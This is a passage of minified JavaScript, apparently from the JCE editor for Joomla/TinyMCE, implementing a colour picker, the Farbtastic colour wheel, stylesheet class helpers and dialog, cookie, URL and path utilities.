Green","#483D8B":"DarkSlateBlue","#2F4F4F":"DarkSlateGrey","#00CED1":"DarkTurquoise","#9400D3":"DarkViolet","#FF1493":"DeepPink","#00BFFF":"DeepSkyBlue","#696969":"DimGrey","#1E90FF":"DodgerBlue","#B22222":"FireBrick","#FFFAF0":"FloralWhite","#228B22":"ForestGreen","#DCDCDC":"Gainsboro","#F8F8FF":"GhostWhite","#FFD700":"Gold","#DAA520":"GoldenRod","#808080":"Grey","#008000":"Green","#ADFF2F":"GreenYellow","#F0FFF0":"HoneyDew","#FF69B4":"HotPink","#CD5C5C":"IndianRed","#4B0082":"Indigo","#FFFFF0":"Ivory","#F0E68C":"Khaki","#E6E6FA":"Lavender","#FFF0F5":"LavenderBlush","#7CFC00":"LawnGreen","#FFFACD":"LemonChiffon","#ADD8E6":"LightBlue","#F08080":"LightCoral","#E0FFFF":"LightCyan","#FAFAD2":"LightGoldenRodYellow","#D3D3D3":"LightGrey","#90EE90":"LightGreen","#FFB6C1":"LightPink","#FFA07A":"LightSalmon","#20B2AA":"LightSeaGreen","#87CEFA":"LightSkyBlue","#778899":"LightSlateGrey","#B0C4DE":"LightSteelBlue","#FFFFE0":"LightYellow","#00FF00":"Lime","#32CD32":"LimeGreen","#FAF0E6":"Linen","#FF00FF":"Magenta","#800000":"Maroon","#66CDAA":"MediumAquaMarine","#0000CD":"MediumBlue","#BA55D3":"MediumOrchid","#9370D8":"MediumPurple","#3CB371":"MediumSeaGreen","#7B68EE":"MediumSlateBlue","#00FA9A":"MediumSpringGreen","#48D1CC":"MediumTurquoise","#C71585":"MediumVioletRed","#191970":"MidnightBlue","#F5FFFA":"MintCream","#FFE4E1":"MistyRose","#FFE4B5":"Moccasin","#FFDEAD":"NavajoWhite","#000080":"Navy","#FDF5E6":"OldLace","#808000":"Olive","#6B8E23":"OliveDrab","#FFA500":"Orange","#FF4500":"OrangeRed","#DA70D6":"Orchid","#EEE8AA":"PaleGoldenRod","#98FB98":"PaleGreen","#AFEEEE":"PaleTurquoise","#D87093":"PaleVioletRed","#FFEFD5":"PapayaWhip","#FFDAB9":"PeachPuff","#CD853F":"Peru","#FFC0CB":"Pink","#DDA0DD":"Plum","#B0E0E6":"PowderBlue","#800080":"Purple","#FF0000":"Red","#BC8F8F":"RosyBrown","#4169E1":"RoyalBlue","#8B4513":"SaddleBrown","#FA8072":"Salmon","#F4A460":"SandyBrown","#2E8B57":"SeaGreen","#FFF5EE":"SeaShell","#A0522D":"Sienna","#C0C0C0":"Silver","#87CEEB":"SkyBlue","#6A5ACD":"SlateBlue","#708090":"SlateGrey","#FFFAFA":"Snow","#00FF7F":"SpringGreen","#4682B4":"SteelBlue","#D2B48C":"Tan","#008080":"Teal","#D8BFD8":"Thistle","#FF6347":"Tomato","#40E0D0":"Turquoise","#EE82EE":"Violet","#F5DEB3":"Wheat","#FFFFFF":"White","#F5F5F5":"WhiteSmoke","#FFFF00":"Yellow","#9ACD32":"YellowGreen"},_translate:function(s,d){var o=this.options,v=o.labels[s]||d||"";return"undefined"!=typeof tinyMCEPopup&&(v=tinyMCEPopup.getLang("colorpicker."+s,v)),v},_init:function(){var self=this;this.options;if(this._getStylesheetColors(),this.options.dialog){if($("#tab-content .colorpicker_generated").length)return;var color=$(this.element).val()||"#000000";/rgb/.test(color)&&(color=this._rgbToHex(color)),color&&color.indexOf("#")===-1&&(color="#"+color),$("#colorpicker_color").change(function(){var v=this.value;"#"===v.substr(0,1)&&(v=v.substring(1)),self._wheel&&self._wheel.setColor("#"+v),this.value=v}).change(),this._createTabs(),$("#colorpicker_insert").click(function(e){e.preventDefault(),self._insert()}),self._wheel&&self._wheel.setColor(color)}else this.options.widget?this.widget=$(this.options.widget):this.widget=$('<span class="colorpicker_widget"></span>').insertAfter(this.element),$(this.widget).css("background-color",$(this.element).val()||"#000000").tips({trigger:"click",position:"center right",content:'<div id="colorpicker" title="Color Picker">'+self._getContent()+"</div>",className:"wf-colorpicker",opacity:1,parent:this.options.parent}).on("tooltip:show",function(){var color=$(self.element).val()||"#000000";/rgb/.test(color)&&(color=this._rgbToHex(color)),"#"!==color.substr(0,1)&&(color="#"+color),$("#tab-content .colorpicker_generated").length||($("#colorpicker_tabs").html(function(i,h){return h.replace(/\{#(\w+)\}/gi,function(a,b){return self._translate(b)})}),$("#colorpicker").append('<div class="modal-footer uk-modal-footer"><div id="colorpicker_preview"><div id="colorpicker_preview_text" class="uk-form-icon uk-form-icon-both"><i class="uk-icon-hashtag"></i><input type="text" id="colorpicker_color" size="8" maxlength="8" value="'+color.substring(1)+'" aria-required="true" /><span class="uk-icon-none" id="colorpicker_preview_color" style="background-color: rgb(0, 0, 0);"></span></div></div><button type="button" class="btn btn-primary uk-button uk-button-primary" id="colorpicker_insert"><i class="uk-icon-check" />'+self._translate("apply","Apply")+"</button></div>"),$("#colorpicker_preview_color").css("background-color",color),$("#colorpicker_color").change(function(){var v=this.value;"#"===v.substr(0,1)&&(v=v.substring(1)),self._wheel&&self._wheel.setColor("#"+v),this.value=v}).change(),$("#colorpicker_insert").click(function(e){e.preventDefault(),self._insert()}),self._createTabs(),self._wheel&&self._wheel.setColor(color))})},_getContent:function(){var h="",o=this.options;return h+='<div id="colorpicker_tabs" class="uk-tabs">',h+='<ul class="nav nav-tabs uk-tab">',h+='<li class="active"><a href="#colorpicker_picker" aria-controls="colorpicker_picker" class="active">{#picker}</a></li>',h+='<li><a href="#colorpicker_web" aria-controls="colorpicker_web">{#palette}</a></li>',h+='<li><a href="#colorpicker_named" aria-controls="colorpicker_named">{#named}</a></li>',o.stylesheets.length&&(h+='<li><a href="#colorpicker_template" aria-controls="colorpicker_template">{#template}</a></li>'),h+="</ul>",h+='<div class="tab-content uk-switcher uk-tabs-panel">',h+='<div id="colorpicker_picker" data-type="picker" class="tab-pane uk-active"></div>',h+='<div id="colorpicker_web" data-type="web" class="tab-pane"></div>',h+='<div id="colorpicker_named" data-type="named" class="tab-pane"></div>',o.stylesheets.length&&(h+='<div id="colorpicker_template" data-type="template" class="tab-pane"></div>'),h+="</div>",h+="</div>"},_createTabs:function(){var self=this;$("#colorpicker_tabs").on("tabs.activate",function(e,tab,panel){var type=$(panel).data("type");self["_create"+type].call(self,$(panel)),$("#colorpicker_insert").css("visibility",function(){return"picker"===type?"visible":"hidden"})}).tabs(),self._createpicker($("#colorpicker_picker","#colorpicker_tabs"))},_blur:function(e){var t=this;if(e){if(e.target==this.picker||e.target==this.picker.colorpicker)return!1;var matched=!1;$(this.picker.colorpicker).find("*").each(function(){if(this==e.target)return matched=!0,!1}),matched||t.close()}},_close:function(){$(this.widget).trigger("tooltip:close"),$(this.element).trigger("colorpicker:close")},_insert:function(){var color=$("#colorpicker_color").val();"#"!==color.substr(0,1)&&(color="#"+color),$(this.element).trigger("colorpicker:insert",color),color&&($(this.element).val(color).removeClass("placeholder").change(),$(this.widget).css("background-color",color)),this._close()},_rgbToHex:function(c){var r,g,b,re=new RegExp("rgb\\s*\\(\\s*([0-9]+).*,\\s*([0-9]+).*,\\s*([0-9]+).*\\)","gi");if(!c)return c;var rgb=c.replace(re,"$1,$2,$3").split(",");return 3==rgb.length?(r=parseInt(rgb[0]).toString(16),g=parseInt(rgb[1]).toString(16),b=parseInt(rgb[2]).toString(16),r=1==r.length?"0"+r:r,g=1==g.length?"0"+g:g,b=1==b.length?"0"+b:b,"#"+r+g+b):c},_hexToRGB:function(c){var r,g,b;return c.indexOf("#")!=-1?(c=c.replace(new RegExp("[^0-9A-F]","gi"),""),r=parseInt(c.substring(0,2),16),g=parseInt(c.substring(2,4),16),b=parseInt(c.substring(4,6),16),{r:r,g:g,b:b}):null},_createpicker:function(parent){var self=this;$(parent).hasClass("colorpicker_generated")||(self._wheel=$.farbtastic(parent,$("#colorpicker_color").val(),function(color){self._showColor(color)}),$(parent).addClass("colorwheel colorpicker_generated"))},_createweb:function(parent){var self=this,h="";$(parent).hasClass("colorpicker_generated")||(h+='<div role="listbox" aria-labelledby="colorpicker_web" tabindex="0">',h+="<ul>",$.each(this._colors,function(i,v){h+='<li style="background-color:'+v+'"><span class="colorpicker_webblock" role="option" aria-labelledby="web_colors_'+i+'" title="'+v+'"></span></li>',self.options.forcedHighContrastMode&&(h+='<canvas class="mceColorSwatch" data-color="'+v+'"></canvas>'),h+='<span class="mceVoiceLabel" id="web_colors_'+i+'">'+v.toUpperCase()+"</span>"}),h+="</ul></div>",$(parent).append(h).append('<br style="clear:both;" />').addClass("colorpicker_generated"),$("span.colorpicker_webblock",parent).click(function(){self._insert()}).mouseover(function(){self._showColor($(this).attr("title"))}),this._paintCanvas(parent))},_createnamed:function(parent){var self=this,h="",i=0;$(parent).hasClass("colorpicker_generated")||(h+='<div role="listbox" aria-labelledby="colorpicker_named" tabindex="0">',h+="<ul>",$.each(this._named,function(k,v){h+='<li style="background-color:'+k+'"><span class="colorpicker_namedblock" aria-labelledby="named_colors_'+k+'" title="'+self._translate(k.replace(/[^\w]/g,""),v)+'"></span></li>',self.options.forcedHighContrastMode&&(h+='<canvas class="mceColorSwatch" data-color="'+v+'"></canvas>'),h+='<span class="mceVoiceLabel" id="named_colors_'+k+'">'+v.toUpperCase()+"</span>",i++}),h+="</ul></div>",$(parent).append(h).append('<br style="clear:both;" />').addClass("colorpicker_generated").append('<div id="colorpicker_colorname">'+this.options.labels.name+"</div>"),$("span.colorpicker_namedblock",parent).click(function(){self._insert()}).mouseover(function(){self._showColor($(this).parent("li").css("background-color"),$(this).attr("title"))}),this._paintCanvas(parent))},_createtemplate:function(parent){var self=this,h="";if(!$(parent).hasClass("colorpicker_generated")){if(this.template_colors){var templateColors=this.template_colors;"string"==$.type(this.template_colors)&&(templateColors=templateColors.split(",")),h+='<div role="listbox" aria-labelledby="colorpicker_template_label" tabindex="0">',h+="<ul>",$.each(templateColors,function(i,v){4==v.length&&(v+=v.substr(1)),h+='<li style="background-color:'+v+'"><span class="colorpicker_templateblock" aria-labelledby="template_colors_'+i+'" title="'+v+'"></span></li>',self.options.forcedHighContrastMode&&(h+='<canvas class="mceColorSwatch" data-color="'+v+'"></canvas>'),h+='<span class="mceVoiceLabel" id="template_colors_'+i+'">'+v.toUpperCase()+"</span>"}),h+="</ul></div>",$(parent).append(h)}if(this.options.custom_colors){var h="";$(parent).append('<p id="colorpicker_custom_label">'+this.options.labels.custom+"</p>");var customColors=this.options.custom_colors.split(",");h+='<div role="listbox" aria-labelledby="colorpicker_custom_label" tabindex="0">',h+="<ul>",$.each(customColors,function(i,v){4==v.length&&(v+=v.replace("#","")),h+='<li style="background-color:'+v+'"><span class="colorpicker_templateblock" aria-labelledby="custom_colors_'+i+'" title="'+v+'"></span></li>',self.options.forcedHighContrastMode&&(h+='<canvas class="mceColorSwatch" data-color="'+v+'"></canvas>'),h+='<span class="mceVoiceLabel" style="display:none;" id="custom_colors_'+i+'">'+v.toUpperCase()+"</span>",(i+1)%18==0&&(h+="</ul><ul>")}),h+="</div>",$(parent).append(h),this._paintCanvas(parent)}$(parent).addClass("colorpicker_generated"),$("span.colorpicker_templateblock",parent).click(function(){self._insert()}).mouseover(function(){self._showColor($(this).attr("title"))})}},_showColor:function(color,name){name&&$("#colorpicker_colorname").html(this.options.labels.name+": "+name),color=color.toLowerCase(),/rgb/.test(color)&&(color=this._rgbToHex(color)),$("#colorpicker_preview_color").css("background-color",color),$("#colorpicker_color").val(color.replace("#",""))},_changeFinalColor:function(color){/#/.test(color)||(color=this._rgbToHex(color)),color=color.toLowerCase(),$("#colorpicker_preview").css("background-color",color),$("#colorpicker_color").val(color.replace("#",""))},_paintCanvas:function(el){$("canvas.mceColorSwatch",el).each(function(){$canvas=$(this).get(0),$canvas.getContext&&(context=$canvas.getContext("2d"))&&(context.fillStyle=$canvas.getAttribute("data-color"),context.fillRect(0,0,10,10))})},_sort_colors:function(colors){var sorted=[],s=[];return $.each(colors,function(x,color){if(color=color.replace("#","").toLowerCase(),6==color.length){var condensed="";$.each(color.split(""),function(i,c){i%2==0&&(condensed+=c)});var color_str=condensed}var v=0;$.each(color_str.split(""),function(i,c){v+=parseInt(c,16)}),color&&(sorted[v+x]="#"+color)}),$.each(sorted,function(i,c){c&&s.push(c)}),s},_getStylesheetColors:function(){function addColor(s){$.inArray(s,colors)==-1&&colors.push(s)}function parseCSS(s){s.imports&&$.each(s.imports,function(i,r){parseCSS(r)}),$.each(s.cssRules||s.rules,function(i,r){switch(r.type||1){case 1:var css=r.cssText||r.style.cssText;css&&(hex=css.match(hexRe),rgb=css.match(rgbRe),rgb&&addColor(self._rgbToHex(rgb[0])),hex&&addColor(hex[0]));break;case 3:if(r.href.indexOf("://")!=-1)return;parseCSS(r.styleSheet)}})}function processStyleSheets(stylesheets){try{$.each(stylesheets,function(i,s){parseCSS(s)})}catch(ex){}return colors}var hex,rgb,self=this,o=this.options,colors=[],hexRe=/#[0-9a-f]{3,6}/gi,rgbRe=new RegExp("rgb\\s*\\(\\s*([0-9]+).*,\\s*([0-9]+).*,\\s*([0-9]+).*\\)","gi");if("string"==$.type(o.stylesheets[0])){var doc,el,ifr;if(document.getElementById("stylsheets_iframe"))return;var h='<!DOCTYPE html><html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge">';$.each(o.stylesheets,function(i,s){h+='<link href="'+s+'" rel="stylesheet" type="text/css" />'}),h+="</head><body></body></html>",ifr=document.createElement("iframe"),$(ifr).attr({src:'javascript:""',id:"stylsheets_iframe"}).hide().appendTo("body").load(function(e){el=e.target,doc=el.contentWindow.document,doc&&doc.styleSheets&&(self.template_colors=processStyleSheets(doc.styleSheets)),$(ifr).remove()}),doc=ifr.contentWindow.document,doc&&(doc.open(),doc.write(h),doc.close())}else this.template_colors=processStyleSheets(o.stylesheets)}},$.fn.colorpicker=function(options){return this.each(function(){new ColorPicker(this,options)})}}(jQuery),function($){$.fn.farbtastic=function(callback){return $.farbtastic(this,callback),this},$.farbtastic=function(container,color,callback){var container=$(container).get(0);return container.farbtastic||(container.farbtastic=new $._farbtastic(container,color,callback))},$._farbtastic=function(container,color,callback){var fb=this;$(container).html('<div class="farbtastic"><div class="color"></div><div class="wheel"></div><div class="overlay"></div><div class="h-marker marker"></div><div class="sl-marker marker"></div></div>');var e=$(".farbtastic",container);fb.wheel=$(".wheel",container).get(0),fb.radius=84,fb.square=100,fb.width=194,navigator.appVersion.match(/MSIE [0-6]\./)&&$("*",e).each(function(){if("none"!=this.currentStyle.backgroundImage){var image=this.currentStyle.backgroundImage;image=this.currentStyle.backgroundImage.substring(5,image.length-2),$(this).css({backgroundImage:"none",filter:"progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true, sizingMethod=crop, src='"+image+"')"})}}),fb.linkTo=function(callback){return"object"==typeof fb.callback&&$(fb.callback).unbind("keyup",fb.updateValue),
fb.color=null,"function"==typeof callback?fb.callback=callback:"object"!=typeof callback&&"string"!=typeof callback||(fb.callback=$(callback),fb.callback.bind("keyup",fb.updateValue),fb.callback.get(0).value&&fb.setColor(fb.callback.get(0).value)),this},fb.updateValue=function(event){this.value&&this.value!=fb.color&&fb.setColor(this.value)},fb.setColor=function(color){var unpack=fb.unpack(color);return fb.color!=color&&unpack&&(fb.color=color,fb.rgb=unpack,fb.hsl=fb.RGBToHSL(fb.rgb),fb.updateDisplay()),this},fb.setHSL=function(hsl){return fb.hsl=hsl,fb.rgb=fb.HSLToRGB(hsl),fb.color=fb.pack(fb.rgb),fb.updateDisplay(),this},fb.widgetCoords=function(event){var x,y,el=event.target||event.srcElement,reference=fb.wheel;if("undefined"!=typeof event.offsetX){for(var pos={x:event.offsetX,y:event.offsetY},e=el;e;)e.mouseX=pos.x,e.mouseY=pos.y,pos.x+=e.offsetLeft,pos.y+=e.offsetTop,e=e.offsetParent;for(var e=reference,offset={x:0,y:0};e;){if("undefined"!=typeof e.mouseX){x=e.mouseX-offset.x,y=e.mouseY-offset.y;break}offset.x+=e.offsetLeft,offset.y+=e.offsetTop,e=e.offsetParent}for(e=el;e;)e.mouseX=void 0,e.mouseY=void 0,e=e.offsetParent}else{var pos=fb.absolutePosition(reference);x=(event.pageX||0*(event.clientX+$("html").get(0).scrollLeft))-pos.x,y=(event.pageY||0*(event.clientY+$("html").get(0).scrollTop))-pos.y}return{x:x-fb.width/2,y:y-fb.width/2}},fb.mousedown=function(event){var pos=fb.widgetCoords(event);return fb.circleDrag=2*Math.max(Math.abs(pos.x),Math.abs(pos.y))>fb.square,fb.mousemove(event),!1},fb.touchconvert=function(e){var e=e.originalEvent.touches.item(0);return e},fb.touchmove=function(e){return fb.mousemove(fb.touchconvert(e)),event.preventDefault(),!1},fb.touchend=function(event){return $(document).unbind("touchmove",fb.touchmove),$(document).unbind("touchend",fb.touchend),document.dragging=!1,event.preventDefault(),!1},fb.mousemove=function(event){var pos=fb.widgetCoords(event);if(fb.circleDrag){var hue=Math.atan2(pos.x,-pos.y)/6.28;hue<0&&(hue+=1),fb.setHSL([hue,fb.hsl[1],fb.hsl[2]])}else{var sat=Math.max(0,Math.min(1,-(pos.x/fb.square)+.5)),lum=Math.max(0,Math.min(1,-(pos.y/fb.square)+.5));fb.setHSL([fb.hsl[0],sat,lum])}return!1},fb.mouseup=function(){$(document).unbind("mousemove",fb.mousemove),$(document).unbind("mouseup",fb.mouseup),document.dragging=!1},fb.updateDisplay=function(){var angle=6.28*fb.hsl[0];$(".h-marker",e).css({left:Math.round(Math.sin(angle)*fb.radius+fb.width/2)+"px",top:Math.round(-Math.cos(angle)*fb.radius+fb.width/2)+"px"}),$(".sl-marker",e).css({left:Math.round(fb.square*(.5-fb.hsl[1])+fb.width/2)+"px",top:Math.round(fb.square*(.5-fb.hsl[2])+fb.width/2)+"px"}),$(".color",e).css("backgroundColor",fb.pack(fb.HSLToRGB([fb.hsl[0],1,.5]))),"object"==typeof fb.callback?($(fb.callback).css({backgroundColor:fb.color,color:fb.hsl[2]>.5?"#000":"#fff"}),$(fb.callback).each(function(){this.value&&this.value!=fb.color&&(this.value=fb.color)})):"function"==typeof fb.callback&&fb.callback.call(fb,fb.color)},fb.absolutePosition=function(el){var r={x:el.offsetLeft,y:el.offsetTop};if(el.offsetParent){var tmp=fb.absolutePosition(el.offsetParent);r.x+=tmp.x,r.y+=tmp.y}return r},fb.pack=function(rgb){var r=Math.round(255*rgb[0]),g=Math.round(255*rgb[1]),b=Math.round(255*rgb[2]);return"#"+(r<16?"0":"")+r.toString(16)+(g<16?"0":"")+g.toString(16)+(b<16?"0":"")+b.toString(16)},fb.unpack=function(color){return 7==color.length?[parseInt("0x"+color.substring(1,3))/255,parseInt("0x"+color.substring(3,5))/255,parseInt("0x"+color.substring(5,7))/255]:4==color.length?[parseInt("0x"+color.substring(1,2))/15,parseInt("0x"+color.substring(2,3))/15,parseInt("0x"+color.substring(3,4))/15]:void 0},fb.HSLToRGB=function(hsl){var m1,m2,h=hsl[0],s=hsl[1],l=hsl[2];return m2=l<=.5?l*(s+1):l+s-l*s,m1=2*l-m2,[this.hueToRGB(m1,m2,h+.33333),this.hueToRGB(m1,m2,h),this.hueToRGB(m1,m2,h-.33333)]},fb.hueToRGB=function(m1,m2,h){return h=h<0?h+1:h>1?h-1:h,6*h<1?m1+(m2-m1)*h*6:2*h<1?m2:3*h<2?m1+(m2-m1)*(.66666-h)*6:m1},fb.RGBToHSL=function(rgb){var min,max,delta,h,s,l,r=rgb[0],g=rgb[1],b=rgb[2];return min=Math.min(r,Math.min(g,b)),max=Math.max(r,Math.max(g,b)),delta=max-min,l=(min+max)/2,s=0,l>0&&l<1&&(s=delta/(l<.5?2*l:2-2*l)),h=0,delta>0&&(max==r&&max!=g&&(h+=(g-b)/delta),max==g&&max!=b&&(h+=2+(b-r)/delta),max==b&&max!=r&&(h+=4+(r-g)/delta),h/=6),[h,s,l]},$("*",e).mousedown(function(e){document.dragging||($(document).bind("mousemove",fb.mousemove).bind("mouseup",fb.mouseup),document.dragging=!0),fb.mousedown(e)}),$("*",e).bind("touchstart",function(e){return document.dragging||($(document).bind("touchmove",fb.touchmove).bind("touchend",fb.touchend),document.dragging=!0),fb.mousedown(fb.touchconvert(e)),e.preventDefault(),!1}),fb.setColor("#000000"),callback&&fb.linkTo(callback)}}(jQuery),function(win){function isAllowedStylesheet(href){var styleselect=tinyMCEPopup.editor.getParam("styleselect_stylesheet");return!styleselect||("undefined"!=typeof filtered[href]?filtered[href]:(filtered[href]=href.indexOf(styleselect)!==-1,filtered[href]))}function isEditorContentCss(url){return url.indexOf("/tiny_mce/")!==-1&&url.indexOf("content.css")!==-1}if(win.tinyMCEPopup){var each=tinymce.each,filtered={},TinyMCE_Utils={classes:[],getClasses:function(){function addClasses(s){each(s.imports,function(r){addClasses(r)});var href=s.href;href&&(isEditorContentCss(href)||each(s.cssRules||s.rules,function(r){switch(r.type||1){case 1:if(!isAllowedStylesheet(s.href))return!0;r.selectorText&&each(r.selectorText.split(","),function(v){v=v.replace(/^\s*|\s*$|^\s\./g,""),!/\.mce/.test(v)&&/\.[\w\-]+$/.test(v)&&(ov=v,v=tinymce._replace(/.*\.([a-z0-9_\-]+).*/i,"$1",v),f&&!(v=f(v,ov))||lo[v]||(cl.push({class:v}),lo[v]=1))});break;case 3:try{addClasses(r.styleSheet)}catch(ex){}}}))}var ov,self=this,ed=tinyMCEPopup.editor,cl=[],lo={},f=ed.settings.class_filter;if(self.classes.length)return self.classes;try{each(ed.getDoc().styleSheets,addClasses)}catch(ex){}return cl.length>0&&(self.classes=cl),cl},fillClassList:function(id){var ed=tinyMCEPopup.editor,lst=document.getElementById(id),cl=[""];if(lst){if(ed.getParam("styleselect_custom_classes")){var custom=ed.getParam("styleselect_custom_classes");custom&&(cl=cl.concat(custom.split(",")))}if(ed.getParam("styleselect_stylesheet")!==!1){var classes=this.getClasses();classes.length&&(cl=cl.concat(classes))}cl.length>0&&tinymce.each(cl,function(o){"string"==typeof o&&o&&(o={class:o}),o.class&&(lst.options[lst.options.length]=new Option(o.title||o.class,o.class))})}},updateColor:function(parent){"string"==typeof parent&&(parent=document.getElementById(parent)),document.getElementById(parent.id+"_pick").style.backgroundColor=parent.value}};win.TinyMCE_Utils=TinyMCE_Utils}}(window),function($){var standalone="undefined"==typeof tinyMCEPopup,Wf={i18n:{},language:"",options:{selectChange:$.noop,site:"",root:"",help:$.noop,alerts:""},getURI:function(absolute){return standalone?absolute?this.options.root:this.options.site:tinyMCEPopup.editor.documentBaseURI.getURI(absolute)},init:function(options){var self=this;$.extend(this.options,options),$(".mceActionPanel, .actionPanel").addClass("uk-modal-footer"),(/MSIE/.test(navigator.userAgent)||navigator.userAgent.indexOf("Trident/")!==-1||navigator.userAgent.indexOf("Edge/")!==-1)&&$("#jce").addClass("ie"),!$.support.cssFloat&&document.querySelector&&($("#jce").addClass("ie8"),$('input[type="number"]').addClass("type-number")),$("button#insert, input#insert, button#update, input#update").button({icons:{primary:"uk-icon-check"}}).addClass("uk-button-primary"),$("button#refresh, input#refresh").button({icons:{primary:"uk-icon-refresh"}}),$("#cancel").button({icons:{primary:"uk-icon-close"}}),standalone||(TinyMCE_Utils.fillClassList("classlist"),$("#apply").button({icons:{primary:"uk-icon-plus"}}),$("#help").button({icons:{primary:"uk-icon-question"}}).click(function(e){e.preventDefault(),self.help()}),$("#cancel").click(function(e){tinyMCEPopup.close(),e.preventDefault()}),$("#jce").addClass(""),$("#tabs").tabs(),this.createColourPickers(),this.createBrowsers(),$(".uk-datalist select").datalist(),$(".hastip, .tip, .tooltip").tips(),$("#align, #clear, #dir").change(function(){self.updateStyles()}),$('input[id^="margin_"]').change(function(){self.updateStyles()}),$("#border").borderWidget().on("border:change",function(){self.updateStyles()}),$("#border_width, #border_style, #border_color").change(function(){self.updateStyles()}).on("datalist:change",function(){self.updateStyles()}),$("#style").change(function(){self.setStyles()}),$(".uk-constrain-checkbox").constrain(),$(".uk-equalize-checkbox").equalize(),"html5-strict"===tinyMCEPopup.editor.settings.schema&&tinyMCEPopup.editor.settings.validate&&$(".html4").hide().find(":input").prop("disabled",!0),$(".uk-repeatable").repeatable())},getName:function(){return $("body").data("plugin")},getPath:function(plugin){return standalone?this.options.site+"components/com_jce/editor/tiny_mce/plugins/"+this.getName():tinyMCEPopup.editor.plugins[this.getName()].url},loadLanguage:function(){if(!standalone){var ed=tinyMCEPopup.editor,u=ed.getParam("document_base_url")+"components/com_jce/editor/tiny_mce";u&&ed.settings.language&&ed.settings.language_load!==!1&&(u+="/langs/"+ed.settings.language+"_dlg.js",tinymce.ScriptLoader.isDone(u)||(document.write('<script type="text/javascript" src="'+tinymce._addVer(u)+'"></script>'),tinymce.ScriptLoader.markDone(u)))}},help:function(){var ed=tinyMCEPopup.editor;ed.windowManager.open({url:tinyMCEPopup.getParam("site_url")+"index.php?option=com_jce&view=help&tmpl=component&lang="+ed.settings.language+"&section=editor&category="+this.getName(),title:tinyMCEPopup.getLang("dlg.help","Help"),size:"mce-modal-landscape-full",inline:!0,close_previous:0})},createColourPickers:function(){var self=this,ed=tinyMCEPopup.editor,doc=ed.getDoc();$("input.color, input.colour").each(function(){var id=$(this).attr("id"),v=this.value;"#"===v.charAt(0)&&(this.value=v.substr(1),v=this.value),$(this).siblings(":input").length&&$(this).wrap("<span />"),$(this).parent(".uk-form-controls, td, span").addClass("uk-form-icon uk-form-icon-both").prepend('<i class="uk-icon-hashtag" />');var $picker=$('<button class="uk-button-link uk-icon-none uk-icon-colorpicker" title="'+self.translate("colorpicker")+'" id="'+id+'_pick"></button>').insertAfter(this).prop("disabled",$(this).is(":disabled"));$(this).on("colorpicker:pick",function(){var v=this.value;"#"!==v.charAt(0)&&(v="#"+v),$(this).next(".uk-icon-colorpicker").css("background-color",v)}),$(this).change(function(e){e.preventDefault(),e.stopPropagation();var v=this.value;"#"===v.charAt(0)&&$(this).val(v.substr(1)),""===v&&(v="000000"),$(this).trigger("colorpicker:pick","#"+v)}).change();var stylesheets=[];doc.styleSheets.length&&$.each(doc.styleSheets,function(i,s){s.href&&s.href.indexOf("tiny_mce")==-1&&stylesheets.push(s)});var settings=$.extend(ColorPicker.settings,{widget:$picker,labels:{picker_tab:"Picker",title:"Color Picker",palette_tab:"Palette",palette:"Web Colors",named_tab:"Named",named:"Named Colors",template_tab:"Template",template:"Template Colors",color:"Color",apply:"Apply",name:"Name"},stylesheets:stylesheets,custom_colors:ed.getParam("colorpicker_custom_colors","")});$(this).colorpicker(settings)})},createBrowsers:function(el,callback,filter){var self=this;el&&$(el).addClass("browser").addClass(filter||""),$("input.browser").add(el).each(function(){var input=this;filter=function(el){return $(el).hasClass("image")||$(el).hasClass("images")?"images":$(el).hasClass("html")?"html":$(el).hasClass("media")?"media":"files"}(this),$(this).parent("td, .uk-form-controls").addClass("uk-form-icon uk-form-icon-flip");var map={images:"picture-o",html:"file-text-o",files:"file-text-o",media:"film"};$('<span role="button" class="uk-icon uk-icon-'+map[filter]+'" title="'+self.translate("browse","Browse for Files")+'"></span>').click(function(e){return tinyMCEPopup.execCommand("mceFileBrowser",!0,{callback:callback||$(input).attr("id"),value:input.value,filter:$(this).attr("data-filter")||filter,caller:self.getName(),window:window})}).insertAfter(this)})},getLanguage:function(){if(!this.language){var s=$("body").attr("lang")||"en";s.length>2&&(s=s.substr(0,2)),this.language=s}return this.language},sizeToFit:function(o,c){var x=c.width,y=c.height,w=o.width,h=o.height,ratio=x/w;return w/h>ratio?(h*=x/w,w=x,h>y&&(w*=y/h,h=y)):(w*=y/h,h=y,w>x&&(h*=x/w,w=x)),{width:Math.round(w),height:Math.round(h)}},addI18n:function(p,o){var i18n=this.i18n;"string"==$.type(p)?$.each(o,function(k,o){i18n[p+"."+k]=o}):$.each(p,function(lc,o){$.each(o,function(g,o){$.each(o,function(k,o){"common"===g?i18n[lc+"."+k]=o:i18n[lc+"."+g+"."+k]=o})})})},translate:function(s,ds){return tinyMCEPopup.getLang("dlg."+s,ds)}};Wf.Cookie={get:function(n,s){var e,b,v,c=document.cookie,p=n+"=";if(!c)return s;if(b=c.indexOf("; "+p),b==-1){if(b=c.indexOf(p),0!=b)return s}else b+=2;return e=c.indexOf(";",b),e==-1&&(e=c.length),v=unescape(c.substring(b+p.length,e)),"undefined"==typeof v?s:v},set:function(n,v,e,p,d,s){document.cookie=n+"="+escape(v)+(e?"; expires="+e.toGMTString():"")+(p?"; path="+escape(p):"")+(d?"; domain="+d:"")+(s?"; secure":"")}},Wf.loadLanguage(),window.Wf=Wf}(jQuery),"undefined"==typeof ColorPicker)var ColorPicker={settings:{}};AutoValidator={validate:function(){return!0}},function($,Wf){var URL={toAbsolute:function(url){return"undefined"!=typeof tinyMCEPopup?tinyMCEPopup.editor.documentBaseURI.toAbsolute(url):/http(s)?:\/\//.test(url)?url:Wf.getURI(!0)+url.substr(0,url.indexOf("/"))},toRelative:function(url){return"undefined"!=typeof tinyMCEPopup?tinyMCEPopup.editor.documentBaseURI.toRelative(url):/http(s)?:\/\//.test(url)?url.substr(url.indexOf("/")):url}};Wf.URL=$.URL=URL}(jQuery,Wf),function($,Wf){Wf.String={basename:function(s){return s.replace(/^.*[\/\\]/g,"")},dirname:function(s){return/[\\\/]+/.test(s)?s.replace(/\\/g,"/").replace(/\/[^\/]*\/?$/,""):""},filename:function(s){return this.stripExt(this.basename(s))},getExt:function(s){return s.substring(s.length,s.lastIndexOf(".")+1)},stripExt:function(s){return s.replace(/\.[^.]+$/i,"")},pathinfo:function(s){var info={basename:this.basename(s),dirname:this.dirname(s),extension:this.getExt(s),filename:this.filename(s)};return info},path:function(a,b){return"array"===$.type(a)?this.clean(a.join("/")):this.clean(a+"/"+b)},clean:function(s){if(s.indexOf("://")!==-1){var parts=s.split("://");return 